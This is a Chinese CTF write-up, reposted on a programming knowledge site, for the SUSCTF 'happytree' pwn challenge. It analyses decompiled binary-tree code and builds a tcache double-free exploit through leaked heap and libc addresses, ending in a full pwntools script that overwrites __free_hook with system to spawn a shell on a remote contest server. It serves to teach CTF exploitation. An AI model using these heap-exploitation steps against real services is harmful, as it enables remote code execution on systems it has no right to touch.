IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> C++知识库 -> SUSCTF happytree -> 正文阅读

[C++知识库]SUSCTF happytree

分析代码

main函数

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  int num; // [rsp+0h] [rbp-10h] BYREF
  unsigned int data; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      std::istream::operator>>(&std::cin, &num);
      if ( num != 2 )
        break;
      data = get_data();
      root = Delete((__int64)root, root, data);
    }
    if ( num > 2 )
    {
      if ( num == 3 )
      {
        data = get_data();
        Show((__int64)root, root, data);
      }
      else
      {
        if ( num == 4 )
          exit(0);
LABEL_13:
        v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild Command");
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      }
    }
    else
    {
      if ( num != 1 )
        goto LABEL_13;
      data = get_data();
      root = (__int64 *)Insert(root, root, data);
    }
  }
}

主要功能有插入节点、删除节点、打印节点存储的数据。

Insert 函数

__int64 __fastcall Insert(__int64 *a1, __int64 *a2, unsigned int data)
{
  __int64 *a1a; // [rsp+10h] [rbp-10h]

  a1a = a2;
  if ( a2 )
  {
    if ( (signed int)data >= *(_DWORD *)a2 )
    {
      if ( (signed int)data > *(_DWORD *)a2 )
        a2[3] = Insert(a2, (__int64 *)a2[3], data);
    }
    else
    {
      a2[2] = Insert(a2, (__int64 *)a2[2], data);
    }
  }
  else
  {
    a1a = (__int64 *)operator new(0x20uLL);
    *(_DWORD *)a1a = data;
    a1a[1] = operator new[]((unsigned __int8)data);
    std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
    read(0, (void *)a1a[1], (unsigned __int8)data);
  }
  return (__int64)a1a;
}

操作是在二叉树上进行,二叉树的节点结构如下图所示。
其中 data 为 content 部分的数据最大长度,同时也是二叉树比较节点时的的依据;left son 和 right son 指向左右儿子节点,左儿子的 data 严格 小于该节点的 data ,右儿子的 data 严格 大于于该节点的 data;content 为节点存储的数据内容。
在这里插入图片描述
Insert函数就是正常的二叉树插入操作。
注意,如果插入的节点的 data 在树中已经存在则不操作。

Delete 函数

_QWORD *__fastcall Delete(__int64 a1, _QWORD *a2, signed int data)
{
  _QWORD *v4; // [rsp+10h] [rbp-20h]
  __int64 *next; // [rsp+20h] [rbp-10h]

  v4 = a2;
  if ( !a2 )
    return 0LL;
  if ( data >= *(_DWORD *)a2 )
  {
    if ( data <= *(_DWORD *)a2 )
    {
      if ( a2[2] && a2[3] )
      {
        next = find_next(a1, (__int64 *)a2[3]);
        *(_DWORD *)a2 = *(_DWORD *)next;
        a2[3] = Delete(a1, (_QWORD *)a2[3], *(_DWORD *)next);
      }
      else
      {
        if ( a2[2] )
        {
          if ( !a2[3] )
            v4 = (_QWORD *)a2[2];
        }
        else
        {
          v4 = (_QWORD *)a2[3];
        }
        operator delete((void *)a2[1], 1uLL);
        operator delete(a2, 0x20uLL);
      }
    }
    else
    {
      a2[3] = Delete(a1, (_QWORD *)a2[3], data);
    }
  }
  else
  {
    a2[2] = Delete(a1, (_QWORD *)a2[2], data);
  }
  return v4;
}

首先找要删除的节点,如果找不到就返回 0 。
对于要删除的节点,如果有一个孩子,则直接删除该节点;
否则 find_next 函数找到大于该节点的最小节点,然后交换节点内容,再删除大于该节点的最小节点。
(不知道是ida反编译的问题还是写的有bug,不过此方法不会遇到这个情况)
注意被删除的节点未清除节点内的信息。

Show

__int64 *__fastcall Show(__int64 a1, __int64 *a2, int a3)
{
  __int64 *result; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 *v6; // [rsp+28h] [rbp-8h]

  result = a2;
  v6 = a2;
  if ( a2 )
  {
    while ( v6 )
    {
      if ( a3 == *(_DWORD *)v6 )
      {
        std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
        v5 = std::operator<<<std::char_traits<char>>(&std::cout, v6[1]);
        return (__int64 *)std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      }
      if ( a3 <= *(_DWORD *)v6 )
        result = (__int64 *)v6[2];
      else
        result = (__int64 *)v6[3];
      v6 = result;
    }
  }
  else
  {
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Not Find");
    return (__int64 *)std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  }
  return result;
}

查找节点并打印 content 。

利用过程

tcache 泄露堆地址,以及 tcache double free 中的第一次 free

add(0x25, '0')
add(0x10, '1')

首先向二叉树中添加两个节点,二叉树结构如下图:
在这里插入图片描述
然后依次删除节点,其中 0x20 大小的 chunk 之后用来 tcache double free 。

free(0x25)
free(0x10)

此时 tcache 结构如下:
在这里插入图片描述

add(0x25, 'A')
show(0x25)
p.recvuntil("content: ")
heap_base = u64(p.recv(6).ljust(8, '\x00')) - ord('A')

此时再添加 0x25 的节点,则二叉树结构如下:
在这里插入图片描述
由于chunk打印节点 0x25 的内容即可泄露堆地址。

unsorted bin 泄露 libc 基地址

清空二叉树,避免复杂化,为此次攻击做准备。

free(0x25)

添加节点然后删除,利用删除节点不清空 chunk 内容的漏洞,伪造一个右儿子为接下来添加假节点做准备。

add(0x25, p64(0) * 3 + p64(heap_base + 0x140))
free(0x25)

在这里插入图片描述
向树中加入节点,在 content 中构造 fake chunk ,而 fake ringt son 正是指向该 fake chunk 。fake chunk 的 content 指向 setvbuf 产生的 io 缓冲区 chunk 。

add(0x90, p64(0) * 3 + p64(0x31) + p64(0x30) + p64(heap_base - 0x11e00 + 0x260) + p64(0) * 3 + p64(0x21))
add(0x20, 'p')

再次添加节点,利用 fake right son 的chunk 将 fake node 添加到树中。此时二叉树的结构如下:
在这里插入图片描述

free(0x30)
add(0x30, 'A')
show(0x30)
p.recvuntil("content: ")
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3ec441
leak('libc base ', libc_base)
free_hook = libc_base + libc.sym['__free_hook']

释放 0x30 节点 ,io 缓冲区进入 unsorted bin 。再次添加 0x30 节点,由于没有 0x40 大小的 chunk ,因此content 的 chunk 来源于 unsorted bin ,因此打印 0x30 节点即可获取 libc 基地址。

tcacke double free 修改 __free_hook 获取 shell

free(0x90)
add(0x90, p64(0) * 3 + p64(0x31) + p64(0x30) + p64(heap_base + 0x100) + p64(0) * 3 + p64(0x21))

删除然后添加 0x90 节点,修改节点内容,使 0x30 的 context 变为位于 tcache 中的大小为 0x20 的 chunk 。
在这里插入图片描述
然后再次删除 0x30 节点触发 tcache double free ,之后就是常规的修改 __free_hook 得到 shell 。

free(0x30)
add(0x18, p64(free_hook))
add(0x17, '/bin/sh\x00')
add(0x16, p64(libc.sym['system'] + libc_base))
free(0x17)

在这里插入图片描述
完整 exp

from pwn import *

leak = lambda name, addr: log.success('{0}\t--->\t{1}'.format(name, hex(addr)))

binary = './happytree'
libc = './libc.so.6'
context.binary = binary
context.log_level = 'debug'
# p = process(binary)
# gdb.attach(p)
p = remote('124.71.147.225', 9999)
elf = ELF(binary, checksec=False)
libc = ELF(libc, checksec=False)


def add(size, data):
    p.sendlineafter("cmd> ", str(1))
    p.sendlineafter("data: ", str(size))
    p.sendafter(": ", data)


def free(size):
    p.sendlineafter("cmd> ", str(2))
    p.sendlineafter("data: ", str(size))


def show(size):
    p.sendlineafter("cmd> ", str(3))
    p.sendlineafter("data: ", str(size))


add(0x25, '0')
add(0x10, '1')
free(0x25)
free(0x10)
add(0x25, 'A')
show(0x25)
p.recvuntil("content: ")
heap_base = u64(p.recv(6).ljust(8, '\x00')) - ord('A')
leak('heap ', heap_base)

free(0x25)
add(0x25, p64(0) * 3 + p64(heap_base + 0x140))
free(0x25)
add(0x90, p64(0) * 3 + p64(0x31) + p64(0x30) + p64(heap_base - 0x11e00 + 0x260) + p64(0) * 3 + p64(0x21))
add(0x20, 'p')
free(0x30)
add(0x30, 'A')
show(0x30)
p.recvuntil("content: ")
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3ec441
leak('libc base ', libc_base)

free_hook = libc_base + libc.sym['__free_hook']
free(0x90)
add(0x90, p64(0) * 3 + p64(0x31) + p64(0x30) + p64(heap_base + 0x100) + p64(0) * 3 + p64(0x21))
free(0x30)
add(0x18, p64(free_hook))
add(0x17, '/bin/sh\x00')
add(0x16, p64(libc.sym['system'] + libc_base))
free(0x17)

p.interactive()
  C++知识库 最新文章
【C++】友元、嵌套类、异常、RTTI、类型转换
通讯录的思路与实现(C语言)
C++PrimerPlus 第七章 函数-C++的编程模块(
Problem C: 算法9-9~9-12:平衡二叉树的基本
MSVC C++ UTF-8编程
C++进阶 多态原理
简单string类c++实现
我的年度总结
【C语言】以深厚地基筑伟岸高楼-基础篇(六
c语言常见错误合集
上一篇文章      下一篇文章      查看所有文章
加:2022-03-03 15:50:34  更:2022-03-03 15:51:25 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 7:50:33-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码